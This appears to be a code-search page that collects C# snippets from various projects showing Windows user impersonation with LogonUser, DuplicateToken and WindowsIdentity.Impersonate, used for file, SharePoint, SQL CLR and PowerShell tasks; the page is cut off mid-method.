public void Enter()
 {
     if (this.IsInContext) return;
     m_Token = new IntPtr(0);
     try
     {
         m_Token = IntPtr.Zero;
         bool logonSuccessfull = LogonUser(
            m_Username,
            m_Domain,
            m_Password,
            LOGON32_LOGON_INTERACTIVE,
            LOGON32_PROVIDER_DEFAULT,
            ref m_Token);
         if (logonSuccessfull == false)
         {
             int error = Marshal.GetLastWin32Error();
             throw new Win32Exception(error);
         }
         WindowsIdentity identity = new WindowsIdentity(m_Token);
         m_Context = identity.Impersonate();
     }
     catch 
     {
         throw;
     }
 }
Example #2
0
    public Impersonation(string domain, string username, string password)
    {
        var ok = LogonUser(username, domain, password,
                        LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
        if (!ok)
        {
            var errorCode = Marshal.GetLastWin32Error();
            throw new ApplicationException(string.Format("Could not impersonate the elevated user.  LogonUser returned error code {0}.", errorCode));
        }

        this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
    }
    public ImpersonateUser(string user, string domain, string password)
    {
        if (!string.IsNullOrEmpty(user))
        {
            // Call LogonUser to get a token for the user
            bool loggedOn = LogonUser(user, domain, password,
                    9 /*(int)LogonType.LOGON32_LOGON_NEW_CREDENTIALS*/,
                    3 /*(int)LogonProvider.LOGON32_PROVIDER_WINNT50*/,
                    out userHandle);
            if (!loggedOn)
                throw new Win32Exception(Marshal.GetLastWin32Error());

            // Begin impersonating the user
            impersonationContext = WindowsIdentity.Impersonate(userHandle);
        }
    }
Example #4
0
        /// <summary>
        /// Begins the impersonation process
        /// </summary>
        /// <param name="account">String including domain ie domain\useraccount</param>
        /// <param name="password">String</param>
        /// <returns>WindowsImpersonationContext</returns>
        /// <remarks></remarks>
        public static WindowsImpersonationContext ImpersonateNow(string account, string password)
        {
            if (account == null || password == null)
            {
                throw new ArgumentNullException("account", "account cannot be blank or a null reference (Nothing in Visual Basic)");
            }
            IntPtr tokenHandle     = new IntPtr(0);
            IntPtr dupeTokenHandle = new IntPtr(0);
            //WebImpersonate myImpersonate = new WebImpersonate();

            string userName   = string.Empty;
            string domainName = string.Empty;

            String[] accountInfo = account.Split('\\');
            if (accountInfo.Length == 1)
            {
                userName = accountInfo[0];
            }
            else
            {
                domainName = accountInfo[0];
                userName   = accountInfo[1];
            }
            bool returnValue = NativeMethods.LogonUser(userName, domainName, password, NativeMethods.Logon32LogonInteractive, NativeMethods.Long32ProviderDefault, ref tokenHandle);

            if (!returnValue)
            {
                Logger mLog          = Logger.Instance();
                string mExceptionMsg = "Could not impersonate user: "******" for domain " + domainName;
                WebImpersonateException mException = new WebImpersonateException(mExceptionMsg);
                mLog.Error(mException);
                throw mException;
            }
            bool retVal = NativeMethods.DuplicateToken(tokenHandle, NativeMethods.SecurityImpersonation, ref dupeTokenHandle);

            if (!retVal)
            {
                NativeMethods.CloseHandle(tokenHandle);
                Logger mLog          = Logger.Instance();
                string mExceptionMsg = "Exception thrown when trying to duplicate token." + Environment.NewLine + "Account: " + account + Environment.NewLine + "Domain: " + domainName;
                WebImpersonateException mException = new WebImpersonateException(mExceptionMsg);
                mLog.Error(mException);
                throw mException;
            }
            // The token that is passed to the following constructor must
            // be a primary token in order to use it for impersonation.
            WindowsIdentity             newId            = new WindowsIdentity(dupeTokenHandle);
            WindowsImpersonationContext impersonatedUser = null;

            try
            {
                impersonatedUser = newId.Impersonate();
            }
            catch (Exception)
            {
                throw;
            }
            finally
            {
                newId.Dispose();
            }
            return(impersonatedUser);
        }
Example #5
0
        public static WindowsImpersonationContext ImpersonateUser(
            string username,
            string domain,
            string password)
        {
            // WindowsImpersonationContext impersonationContext = null;
            impersonationContext = null;

            WindowsIdentity tempWindowsIdentity = null;
            //IntPtr token = IntPtr.Zero;
            IntPtr tokenDuplicate = IntPtr.Zero;

            if (username.Length == 0)
            {
                throw new Exception("Username cannot be blank.");
            }
            if (password.Length == 0)
            {
                throw new Exception("Password cannot be blank.");
            }

            try
            {
                if (RevertToSelf())
                {
                    if (LogonUser(
                            username,
                            domain,
                            password,
                            LOGON32_LOGON_NEW_CREDENTIALS,
                            LOGON32_PROVIDER_DEFAULT,
                            ref token) != 0)
                    {
                        if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
                        {
                            tempWindowsIdentity  = new WindowsIdentity(tokenDuplicate);
                            impersonationContext = tempWindowsIdentity.Impersonate();
                        }
                        else
                        {
                            throw new Win32Exception(Marshal.GetLastWin32Error());
                        }
                    }
                    else
                    {
                        throw new Win32Exception(Marshal.GetLastWin32Error());
                    }
                }
                else
                {
                    throw new Win32Exception(Marshal.GetLastWin32Error());
                }
            }
            finally
            {
                if (token != IntPtr.Zero)
                {
                    CloseHandle(token);
                }
                if (tokenDuplicate != IntPtr.Zero)
                {
                    CloseHandle(tokenDuplicate);
                }
            }

            return(impersonationContext);
        }
Example #6
0
    public static void StoreEncryptedSalt(string locationOfFile)
    {
        if (SqlContext.WindowsIdentity == null)
        {
            SqlContext.Pipe.Send("This procedure can not be executed by a SQL Login");
            return;
        }

        FileStream fs = null;

        byte[] m_Bytes = null;

        //fs = new FileStream(locationOfFile, FileMode.Open);
        //m_Bytes = ReadToEnd(fs);

        WindowsImpersonationContext OriginalContext = null;

        try
        {
            //Impersonate the current SQL Security context
            WindowsIdentity CallerIdentity = SqlContext.WindowsIdentity;
            //WindowsIdentity might be NULL if calling context is a SQL login
            if (CallerIdentity != null)
            {
                OriginalContext = CallerIdentity.Impersonate();
                fs      = new FileStream(locationOfFile, FileMode.Open);
                m_Bytes = ReadToEnd(fs);
            }
            else
            {
                fs = null;
            }
        }
        catch (Exception e)
        {
            //If file does not exist or for any problems with opening the file,
            // set filestream to null and return the error we caught
            fs.Close();
            fs = null;
            throw e;
        }
        finally
        {
            //Revert the impersonation context; note that impersonation is needed only
            //when opening the file.
            //SQL Server will raise an exception if the impersonation is not undone
            // before returning from the function.



            fs.Close();
            fs = null;
            OriginalContext.Undo();
        }


        using (SqlConnection conn = new SqlConnection("context connection=true"))
        {
            conn.Open();                       // open the connection
            //string encryptedSalt = CryptHelper.UTF8ByteArrayToString(m_Bytes);

            SqlCommand cmd = new SqlCommand("DELETE FROM EncryptedSalt", conn);
            cmd.ExecuteNonQuery();
            cmd = null;

            cmd = new SqlCommand("INSERT INTO EncryptedSalt (LastSavedAt,   EncryptedSalt) values (GetDate(), @encryptedSalt)", conn);
            cmd.Parameters.Add("@encryptedSalt", SqlDbType.VarBinary).Value = m_Bytes;
            cmd.ExecuteNonQuery();
            cmd = null;
        }
    }
 /// <summary>
 /// Initializes a new instance of the <see cref="ContextReverter" /> class.
 /// </summary>
 /// <param name="windowsImpersonationContext">The windows impersonation context.</param>
 public ContextReverter(WindowsImpersonationContext windowsImpersonationContext)
 {
     this.wic = windowsImpersonationContext;
 }
Example #8
0
        /// <summary>
        /// Logins the user.
        /// </summary>
        /// <param name="sender">Source of this event.</param>
        /// <param name="e">Arguments of this event.</param>
        private void ButtonLogin_Click(object sender, RoutedEventArgs e)
        {
            UserInfo userInfo;
            WindowsImpersonationContext impersonationContext = null;
            ISecurityProvider           provider;

            try
            {
                // Determine whether we need to try impersonating the user
                userInfo = new UserInfo(TextBoxUserName.Text);

                // If the application is unable to access the domain, possibly because the local user
                // running the application does not have access to domain objects, it's possible that
                // the user logging in does have access to the domain. So we attempt to impersonate the
                // user logging in to allow authentication to proceed
                if (!userInfo.DomainRespondsForUser && TryImpersonate(userInfo.LoginID, TextBoxPassword.Password, out impersonationContext))
                {
                    try
                    {
                        // Working around a known issue - DirectorySearcher will often throw
                        // an exception the first time it is used after impersonating another
                        // user so we get that out of the way here
                        userInfo.Initialize();
                    }
                    catch (InitializationException)
                    {
                        // Exception is expected so we ignore it
                    }
                }

                // Initialize the security provider
                provider = SecurityProviderUtility.CreateProvider(TextBoxUserName.Text);

                // Attempt to authenticate user
                if (provider.Authenticate(TextBoxPassword.Password))
                {
                    // Setup security provider for subsequent uses
                    SecurityProviderCache.CurrentProvider = provider;
                    ClearErrorMessage();
                    ExitSuccess = true;
                }
                else
                {
                    // Verify their password hasn't expired
                    if (provider.UserData.IsDefined && provider.UserData.PasswordChangeDateTime <= DateTime.UtcNow)
                    {
                        // Display password expired message
                        DisplayErrorMessage(string.Format("Your password has expired. {0} You must change your password to continue.", provider.AuthenticationFailureReason));
                        m_displayType = DisplayType.ChangePassword;
                        ManageScreenVisualization();
                        TextBoxPassword.Password = "";
                    }
                    else
                    {
                        // Display login failure message
                        DisplayErrorMessage("The username or password is invalid. " + provider.AuthenticationFailureReason);

                        if (string.IsNullOrWhiteSpace(TextBoxUserName.Text))
                        {
                            TextBoxUserName.Focus();
                        }
                        else
                        {
                            TextBoxPassword.Focus();
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                DisplayErrorMessage("Login failed: " + ex.Message);

                if (string.IsNullOrWhiteSpace(TextBoxUserName.Text))
                {
                    TextBoxUserName.Focus();
                }
                else
                {
                    TextBoxPassword.Focus();
                }
            }
            finally
            {
                if ((object)impersonationContext != null)
                {
                    impersonationContext.Undo();
                    impersonationContext.Dispose();
                }
            }
        }
            public void StopImpersonation()
            {
                if (impersonatedUser == null)
                {
                    return;
                }

                try
                {
                    impersonatedUser.Undo(); // Stop impersonating the user.
                }
                catch (Exception ex)
                {
                    Runtime.MessageCollector.AddMessage(Messages.MessageClass.WarningMsg,
                                                        (string)
                                                        ("Stopping Impersonation failed" + Constants.vbNewLine +
                                                         ex.Message), true);
                    throw;
                }
                finally
                {
                    if (dupeTokenHandle != IntPtr.Zero)
                    {
                        CloseHandle(tokenHandle);
                    }
                    if (dupeTokenHandle != IntPtr.Zero)
                    {
                        CloseHandle(dupeTokenHandle);
                    }

                    impersonatedUser = null;
                }
            }
Example #10
0
        private Impersonation(string username, string domain, string password, LogonType logonType, BuiltinUser builtinUser)
        {
            switch (builtinUser)
            {
            case BuiltinUser.None:
                if (string.IsNullOrEmpty(username))
                {
                    return;
                }
                break;

            case BuiltinUser.LocalService:
                username = "******";
                break;

            case BuiltinUser.NetworkService:
                username = "******";
                break;
            }

            IntPtr userToken            = IntPtr.Zero;
            IntPtr userTokenDuplication = IntPtr.Zero;

            // Logon with user and get token.
            bool loggedOn = NativeMethod.LogonUser(username, domain, password, logonType, LogonProvider.Default, out userToken);

            if (loggedOn)
            {
                try
                {
                    // Create a duplication of the usertoken, this is a solution
                    // for the known bug that is published under KB article Q319615.
                    if (NativeMethod.DuplicateToken(userToken, 2, ref userTokenDuplication))
                    {
                        // Create windows identity from the token and impersonate the user.
                        WindowsIdentity identity = new WindowsIdentity(userTokenDuplication);
                        _impersonationContext = identity.Impersonate();
                    }
                    //else
                    //{
                    //    // Token duplication failed!
                    //    // Use the default ctor overload
                    //    // that will use Mashal.GetLastWin32Error();
                    //    // to create the exceptions details.
                    //    throw new Win32Exception();
                    //}
                }
                finally
                {
                    // Close usertoken handle duplication when created.
                    if (!userTokenDuplication.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        NativeMethod.CloseHandle(userTokenDuplication);
                        userTokenDuplication = IntPtr.Zero;
                    }

                    // Close usertoken handle when created.
                    if (!userToken.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        NativeMethod.CloseHandle(userToken);
                        userToken = IntPtr.Zero;
                    }
                }
            }
            //else
            //{
            //    // Logon failed!
            //    // Use the default ctor overload that
            //    // will use Mashal.GetLastWin32Error();
            //    // to create the exceptions details.
            //    throw new Win32Exception();
            //}
        }
Example #11
0
        public StringBuilder Execute(Dictionary <string, StringBuilder> values, IWorkspace theWorkspace)
        {
            string        username = string.Empty;
            string        domain   = string.Empty;
            string        password = string.Empty;
            StringBuilder tmp;

            Dev2Logger.Log.Info("Find Drive");
            values.TryGetValue("Username", out tmp);
            if (tmp != null)
            {
                username = tmp.ToString();
            }
            values.TryGetValue("Password", out tmp);
            if (tmp != null)
            {
                password = tmp.ToString();
            }
            values.TryGetValue("Domain", out tmp);
            if (tmp != null)
            {
                domain = tmp.ToString();
            }

            IntPtr accessToken = IntPtr.Zero;
// ReSharper disable InconsistentNaming
            const int LOGON32_PROVIDER_DEFAULT = 0;
// ReSharper restore InconsistentNaming
// ReSharper disable InconsistentNaming
            const int LOGON32_LOGON_INTERACTIVE = 2;
// ReSharper restore InconsistentNaming

            StringBuilder result = new StringBuilder();

            try
            {
                if (!string.IsNullOrEmpty(username))
                {
                    domain = (domain.Length > 0 && domain != ".") ? domain : Environment.UserDomainName;
                    bool success = LogonUser(username, domain, password, LOGON32_LOGON_INTERACTIVE,
                                             LOGON32_PROVIDER_DEFAULT, ref accessToken);
                    if (success)
                    {
                        var identity = new WindowsIdentity(accessToken);
                        WindowsImpersonationContext context = identity.Impersonate();
                        DriveInfo[] drives = DriveInfo.GetDrives();

                        result.Append("<JSON>");
                        result.Append(GetDriveInfoAsJSON(drives));
                        result.Append("</JSON>");

                        context.Undo();
                    }
                    else
                    {
                        result.Append("<result>Logon failure: unknown user name or bad password</result>");
                    }
                }
                else
                {
                    DriveInfo[] drives = DriveInfo.GetDrives();
                    result.Append("<JSON>");
                    result.Append(GetDriveInfoAsJSON(drives));
                    result.Append("</JSON>");
                }
            }
            catch (Exception ex)
            {
                Dev2Logger.Log.Error(ex);
                result.Append(ex.Message);
            }

            return(result);
        }
Example #12
0
        protected virtual string ConnectToServer(Dev2.Data.ServiceModel.Connection connection)
        {
            // we need to grab the principle and impersonate to properly execute in context of the requesting user ;)
            var principle = System.Threading.Thread.CurrentPrincipal;
            var identity  = principle.Identity as WindowsIdentity;
            WindowsImpersonationContext context = null;

            try
            {
                if (identity != null && connection.AuthenticationType == AuthenticationType.Windows)
                {
                    context = identity.Impersonate();
                }

                using (var client = new WebClient())
                {
                    if (connection.AuthenticationType == AuthenticationType.Windows)
                    {
                        client.UseDefaultCredentials = true;
                    }
                    else
                    {
                        client.UseDefaultCredentials = false;

                        //// we to default to the hidden public user name of \, silly know but that is how to get around ntlm auth ;)
                        if (connection.AuthenticationType == AuthenticationType.Public)
                        {
                            connection.UserName = GlobalConstants.PublicUsername;
                            connection.Password = string.Empty;
                        }

                        client.Credentials = new NetworkCredential(connection.UserName, connection.Password);
                    }

                    // Need to do hub connect here to get true permissions ;)
                    HubConnection hub = null;
                    try
                    {
                        // Credentials = client.Credentials
                        hub = new HubConnection(connection.FetchTestConnectionAddress())
                        {
                            Credentials = client.Credentials
                        };
                        ServicePointManager.ServerCertificateValidationCallback = ValidateServerCertificate;
#pragma warning disable 168
                        var proxy = hub.CreateHubProxy("esb"); // this is the magic line that causes proper validation
#pragma warning restore 168
                        hub.Start().Wait();

                        Dev2Logger.Log.Debug("Hub State : " + hub.State);

                        return("Success");
                    }
                    finally
                    {
                        if (hub != null)
                        {
                            hub.Stop();
                            hub.Dispose();
                        }
                    }
                }
            }
            finally
            {
                if (context != null && connection.AuthenticationType == AuthenticationType.Windows)
                {
                    context.Undo();
                }
            }
        }
Example #13
0
 /// <summary>
 /// Reverts to the previous user.
 /// </summary>
 public void Revert()
 {
     if (_impersonationContext != null)
         {
             // Revert to previour user.
             _impersonationContext.Undo();
             _impersonationContext = null;
         }
 }
Example #14
0
    private Impersonation(String username, String domain, String password, LogonType logonType, BuiltinUser builtinUser)
    {
        switch (builtinUser)
            {
                case BuiltinUser.None: if (String.IsNullOrEmpty(username)) return; break;
                case BuiltinUser.LocalService: username = "******"; break;
                case BuiltinUser.NetworkService: username = "******"; break;
            }

            IntPtr userToken = IntPtr.Zero;
            IntPtr userTokenDuplication = IntPtr.Zero;

            // Logon with user and get token.
            bool loggedOn = LogonUser(username, domain, password,
                logonType, LogonProvider.Default,
                out userToken);

            if (loggedOn)
            {
                try
                {
                    // Create a duplication of the usertoken, this is a solution
                    // for the known bug that is published under KB article Q319615.
                    if (DuplicateToken(userToken, 2, ref userTokenDuplication))
                    {
                        // Create windows identity from the token and impersonate the user.
                        WindowsIdentity identity = new WindowsIdentity(userTokenDuplication);
                        _impersonationContext = identity.Impersonate();
                    }
                    else
                    {
                        // Token duplication failed!
                        // Use the default ctor overload
                        // that will use Mashal.GetLastWin32Error();
                        // to create the exceptions details.
                        throw new Win32Exception();
                    }
                }
                finally
                {
                    // Close usertoken handle duplication when created.
                    if (!userTokenDuplication.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        CloseHandle(userTokenDuplication);
                        userTokenDuplication = IntPtr.Zero;
                    }

                    // Close usertoken handle when created.
                    if (!userToken.Equals(IntPtr.Zero))
                    {
                        // Closes the handle of the user.
                        CloseHandle(userToken);
                        userToken = IntPtr.Zero;
                    }
                }
            }
            else
            {
                // Logon failed!
                // Use the default ctor overload that
                // will use Mashal.GetLastWin32Error();
                // to create the exceptions details.
                throw new Win32Exception();
            }
    }
            public void StartImpersonation(string DomainName, string UserName, string Password)
            {
                try
                {
                    if (!(impersonatedUser == null))
                    {
                        throw (new Exception("Already impersonating a user."));
                    }

                    tokenHandle = IntPtr.Zero;
                    dupeTokenHandle = IntPtr.Zero;

                    int returnValue =
                        System.Convert.ToInt32(LogonUser(UserName, DomainName, Password,
                                                         System.Convert.ToInt32(LOGON32_LOGON_INTERACTIVE),
                                                         System.Convert.ToInt32(LOGON32_PROVIDER_DEFAULT),
                                                         out tokenHandle));

                    if (0 == returnValue)
                    {
                        int errCode = Marshal.GetLastWin32Error();
                        string errMsg = "LogonUser failed with error code: " + errCode.ToString() + "(" +
                                        GetErrorMessage(errCode) + ")";
                        ApplicationException exLogon = new ApplicationException(errMsg);
                        throw (exLogon);
                    }

                    returnValue =
                        System.Convert.ToInt32(DuplicateToken(tokenHandle, System.Convert.ToInt32(SecurityImpersonation),
                                                              ref dupeTokenHandle));
                    if (0 == returnValue)
                    {
                        CloseHandle(tokenHandle);
                        throw (new ApplicationException("Error trying to duplicate handle."));
                    }

                    // The token that is passed to the following constructor must
                    // be a primary token in order to use it for impersonation.
                    WindowsIdentity newId = new WindowsIdentity(dupeTokenHandle);
                    impersonatedUser = newId.Impersonate();
                }
                catch (Exception ex)
                {
                    Runtime.MessageCollector.AddMessage(Messages.MessageClass.WarningMsg,
                                                        (string)
                                                        ("Starting Impersonation failed (Sessions feature will not work)" +
                                                         Constants.vbNewLine + ex.Message), true);
                }
            }
Example #16
0
        /// <summary>
        /// Restores site collection under given url from backup.
        /// </summary>
        /// <param name="rootWebApplicationUri">Root web application uri.</param>
        /// <param name="siteCollection">Site collection to be restored.</param>
        /// <param name="filename">Backup file name to restore from.</param>
        /// <exception cref="InvalidOperationException">Is thrown in case requested operation fails for any reason.</exception>
        public void RestoreSiteCollection(Uri rootWebApplicationUri, SharePointSiteCollection siteCollection, string filename)
        {
            string url = siteCollection.Url;

            try
            {
                WindowsImpersonationContext wic = WindowsIdentity.GetCurrent().Impersonate();

                try
                {
                    SPWebApplication rootWebApplication = SPWebApplication.Lookup(rootWebApplicationUri);
                    string           siteCollectionUrl  = String.Format("{0}:{1}", url, rootWebApplicationUri.Port);

                    string tempPath = Path.GetTempPath();
                    // Unzip uploaded files if required.
                    string expandedFile = filename;
                    if (Path.GetExtension(filename).ToLower() == ".zip")
                    {
                        // Unpack file.
                        expandedFile = FileUtils.UnzipFiles(filename, tempPath)[0];

                        // Delete zip archive.
                        FileUtils.DeleteFile(filename);
                    }

                    // Delete existent site and restore new one.
                    rootWebApplication.Sites.Delete(siteCollectionUrl, false);
                    rootWebApplication.Sites.Restore(siteCollectionUrl, expandedFile, true, true);

                    SPSite restoredSite = rootWebApplication.Sites[siteCollectionUrl];
                    SPWeb  web          = restoredSite.OpenWeb();

                    SPUser owner = null;
                    try
                    {
                        owner = web.SiteUsers[siteCollection.OwnerLogin];
                    }
                    catch
                    {
                        // Ignore this error.
                    }
                    if (owner == null)
                    {
                        web.SiteUsers.Add(siteCollection.OwnerLogin, siteCollection.OwnerEmail, siteCollection.OwnerName, String.Empty);
                        owner = web.SiteUsers[siteCollection.OwnerLogin];
                    }

                    restoredSite.Owner = owner;
                    web.Close();

                    rootWebApplication.Update();

                    // Delete expanded file.
                    FileUtils.DeleteFile(expandedFile);
                }
                finally
                {
                    wic.Undo();
                }
            }
            catch (Exception ex)
            {
                throw new InvalidOperationException("Failed to restore site collection.", ex);
            }
        }
Example #17
0
        /// <summary>impersonates a user</summary>
        /// <param name="sUsername">domain\name of the user account</param>
        /// <param name="sPassword">the user's password</param>
        /// <returns>the new WindowsImpersonationContext</returns>
        public static WindowsImpersonationContext ImpersonateUser(String username, String password)
        {
            //define the handles
            IntPtr existingTokenHandle  = IntPtr.Zero;
            IntPtr duplicateTokenHandle = IntPtr.Zero;

            String domain;

            if (username.IndexOf("\\") > 0)
            {
                //split domain and name
                String[] splitUserName = username.Split('\\');
                domain   = splitUserName[0];
                username = splitUserName[1];
            }
            else
            {
                domain = String.Empty;
            }

            bool isOkay = true;

            try
            {
                //get a security token

                isOkay = LogonUser(username, domain, password,
                                   (int)LogonTypes.LOGON32_LOGON_INTERACTIVE, (int)LogonTypes.LOGON32_PROVIDER_DEFAULT,
                                   ref existingTokenHandle);

                if (!isOkay)
                {
                    int lastWin32Error = Marshal.GetLastWin32Error();
                    int lastError      = GetLastError();

                    throw new Exception("LogonUser Failed: " + lastWin32Error + " - " + lastError);
                }

                // copy the token

                isOkay = DuplicateToken(existingTokenHandle,
                                        (int)SecurityImpersonationLevel.SecurityImpersonation,
                                        ref duplicateTokenHandle);

                if (!isOkay)
                {
                    int lastWin32Error = Marshal.GetLastWin32Error();
                    int lastError      = GetLastError();
                    CloseHandle(existingTokenHandle);
                    throw new Exception("DuplicateToken Failed: " + lastWin32Error + " - " + lastError);
                }
                else
                {
                    // create an identity from the token

                    WindowsIdentity             newId            = new WindowsIdentity(duplicateTokenHandle);
                    WindowsImpersonationContext impersonatedUser = newId.Impersonate();

                    return(impersonatedUser);
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            finally
            {
                //free all handles
                if (existingTokenHandle != IntPtr.Zero)
                {
                    CloseHandle(existingTokenHandle);
                }
                if (duplicateTokenHandle != IntPtr.Zero)
                {
                    CloseHandle(duplicateTokenHandle);
                }
            }
        }
Example #18
0
    /// <summary>
    /// 指定模擬身分
    /// </summary>
    /// <param name="userName"></param>
    /// <param name="domain"></param>
    /// <param name="password"></param>
    /// <returns></returns>
    private bool impersonateValidUser(String userName, String domain, String password)
    {
        WindowsIdentity tempWindowsIdentity;
        IntPtr token = IntPtr.Zero;
        IntPtr tokenDuplicate = IntPtr.Zero;

        if (RevertToSelf())
        {
            if (LogonUserA(userName, domain, password, LOGON32_LOGON_INTERACTIVE,
                LOGON32_PROVIDER_DEFAULT, ref token) != 0)
            {
                if (DuplicateToken(token, 2, ref tokenDuplicate) != 0)
                {
                    tempWindowsIdentity = new WindowsIdentity(tokenDuplicate);
                    impersonationContext = tempWindowsIdentity.Impersonate();
                    if (impersonationContext != null)
                    {
                        CloseHandle(token);
                        CloseHandle(tokenDuplicate);
                        return true;
                    }
                }
            }
        }
        if (token != IntPtr.Zero)
            CloseHandle(token);
        if (tokenDuplicate != IntPtr.Zero)
            CloseHandle(tokenDuplicate);
        return false;
    }
Example #19
0
        public int Put(Stream src, IActivityIOPath dst, IDev2CRUDOperationTO args, string whereToPut, List <string> filesToCleanup)
        {
            int result = -1;

            using (src)
            {
                //2013.05.29: Ashley Lewis for bug 9507 - default destination to source directory when destination is left blank or if it is not a rooted path
                if (!Path.IsPathRooted(dst.Path))
                {
                    //get just the directory path to put into
                    if (whereToPut != null)
                    {
                        //Make the destination directory equal to that directory
                        dst = ActivityIOFactory.CreatePathFromString(whereToPut + "\\" + dst.Path, dst.Username, dst.Password, dst.PrivateKeyFile);
                    }
                }
                if (args.Overwrite || !args.Overwrite && !FileExist(dst))
                {
                    _fileLock.EnterWriteLock();
                    try
                    {
                        if (!RequiresAuth(dst))
                        {
                            using (src)
                            {
                                File.WriteAllBytes(dst.Path, src.ToByteArray());
                                result = (int)src.Length;
                            }
                        }
                        else
                        {
                            // handle UNC path
                            SafeTokenHandle safeTokenHandle;
                            bool            loginOk = LogonUser(ExtractUserName(dst), ExtractDomain(dst), dst.Password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);


                            if (loginOk)
                            {
                                using (safeTokenHandle)
                                {
                                    WindowsIdentity newID = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
                                    using (WindowsImpersonationContext impersonatedUser = newID.Impersonate())
                                    {
                                        // Do the operation here
                                        using (src)
                                        {
                                            File.WriteAllBytes(dst.Path, src.ToByteArray());
                                            result = (int)src.Length;
                                        }

                                        // remove impersonation now
                                        impersonatedUser.Undo();
                                    }
                                }
                            }
                            else
                            {
                                // login failed
                                throw new Exception(string.Format(ErrorResource.FailedToAuthenticateUser, dst.Username, dst.Path));
                            }
                        }
                    }
                    finally
                    {
                        _fileLock.ExitWriteLock();
                    }
                }
            }
            return(result);
        }
Example #20
0
        public bool CreateDirectory(IActivityIOPath dst, IDev2CRUDOperationTO args)
        {
            bool result = false;

            if (args.Overwrite)
            {
                if (!RequiresAuth(dst))
                {
                    if (DirectoryExist(dst))
                    {
                        Delete(dst);
                    }
                    Directory.CreateDirectory(dst.Path);
                    result = true;
                }
                else
                {
                    try
                    {
                        // handle UNC path
                        SafeTokenHandle safeTokenHandle;
                        bool            loginOk = LogonUser(ExtractUserName(dst), ExtractDomain(dst), dst.Password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);


                        if (loginOk)
                        {
                            using (safeTokenHandle)
                            {
                                WindowsIdentity newID = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
                                using (WindowsImpersonationContext impersonatedUser = newID.Impersonate())
                                {
                                    // Do the operation here

                                    if (DirectoryExist(dst))
                                    {
                                        Delete(dst);
                                    }
                                    Directory.CreateDirectory(dst.Path);
                                    result = true;

                                    // remove impersonation now
                                    impersonatedUser.Undo();
                                }
                            }
                        }
                        else
                        {
                            // login failed, oh no!
                            throw new Exception(string.Format(ErrorResource.FailedToAuthenticateUser, dst.Username, dst.Path));
                        }
                    }
                    catch (Exception ex)
                    {
                        Dev2Logger.Error(ex);
                        throw;
                    }
                }
            }
            else if (!args.Overwrite && !DirectoryExist(dst))
            {
                if (!RequiresAuth(dst))
                {
                    Directory.CreateDirectory(dst.Path);
                    result = true;
                }
                else
                {
                    try
                    {
                        // handle UNC path
                        SafeTokenHandle safeTokenHandle;
                        bool            loginOk = LogonUser(ExtractUserName(dst), ExtractDomain(dst), dst.Password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);

                        if (loginOk)
                        {
                            using (safeTokenHandle)
                            {
                                WindowsIdentity newID = new WindowsIdentity(safeTokenHandle.DangerousGetHandle());
                                using (WindowsImpersonationContext impersonatedUser = newID.Impersonate())
                                {
                                    // Do the operation here

                                    Directory.CreateDirectory(dst.Path);
                                    result = true;

                                    // remove impersonation now
                                    impersonatedUser.Undo();
                                }
                                newID.Dispose();
                            }
                        }
                        else
                        {
                            // login failed
                            throw new Exception(string.Format(ErrorResource.FailedToAuthenticateUser, dst.Username, dst.Path));
                        }
                    }
                    catch (Exception ex)
                    {
                        Dev2Logger.Error(ex);
                        throw;
                    }
                }
            }

            return(result);
        }
Example #21
0
        /// <summary>
        /// Runs the PowerShell script.
        /// </summary>
        /// <param name="script">The script.</param>
        /// <param name="scriptArguments">The PowerShell script arguments.</param>
        /// <param name="scriptParameters">The PowerShell script parameters.</param>
        /// <returns>The output of the script.</returns>
        private object RunScript(string script, IEnumerable scriptArguments, Dictionary <string, object> scriptParameters)
        {
            Logger.Instance.WriteMethodEntry(EventIdentifier.RunPowerShellScriptRunScript);

            WindowsImpersonationContext context = null;
            LogOnUser logOnUser = null;

            try
            {
                PSCredential credential = this.GetPowerShellCredential();

                logOnUser = this.LogOnUser(credential);

                if (logOnUser != null)
                {
                    context = logOnUser.Impersonate();
                }

                // Establish a new runspace for the Powershell script
                InitialSessionState initialSessionState = InitialSessionState.CreateDefault();

                bool progressPreference = Logger.Instance.ShouldTrace(TraceEventType.Information);
                bool debugPreference    = Logger.Instance.ShouldTrace(TraceEventType.Information);
                bool verbosePreference  = Logger.Instance.ShouldTrace(TraceEventType.Verbose);

                initialSessionState.Variables.Add(new SessionStateVariableEntry("ProgressPreference", progressPreference ? "Continue" : "SilentlyContinue", string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("DebugPreference", debugPreference ? "Continue" : "SilentlyContinue", string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("VerbosePreference", verbosePreference ? "Continue" : "SilentlyContinue", string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("AECWorkflowInstanceId", Logger.GetContextItem("WorkflowInstanceId"), string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("AECRequestId", Logger.GetContextItem("RequestId"), string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("AECActorId", Logger.GetContextItem("ActorId"), string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("AECTargetId", Logger.GetContextItem("TargetId"), string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("AECWorkflowDefinitionId", Logger.GetContextItem("WorkflowDefinitionId"), string.Empty));
                initialSessionState.Variables.Add(new SessionStateVariableEntry("Credential", credential, null));

                using (Runspace runspace = RunspaceFactory.CreateRunspace(initialSessionState))
                {
                    runspace.Open();
                    using (PowerShell shell = PowerShell.Create())
                    {
                        shell.Runspace = runspace;

                        SetupStreamEventHandlers(shell);

                        // Add the script to the PowerShell instance to prepare for execution
                        shell.AddScript(script);

                        StringBuilder scriptParams = new StringBuilder();

                        if (scriptParameters != null)
                        {
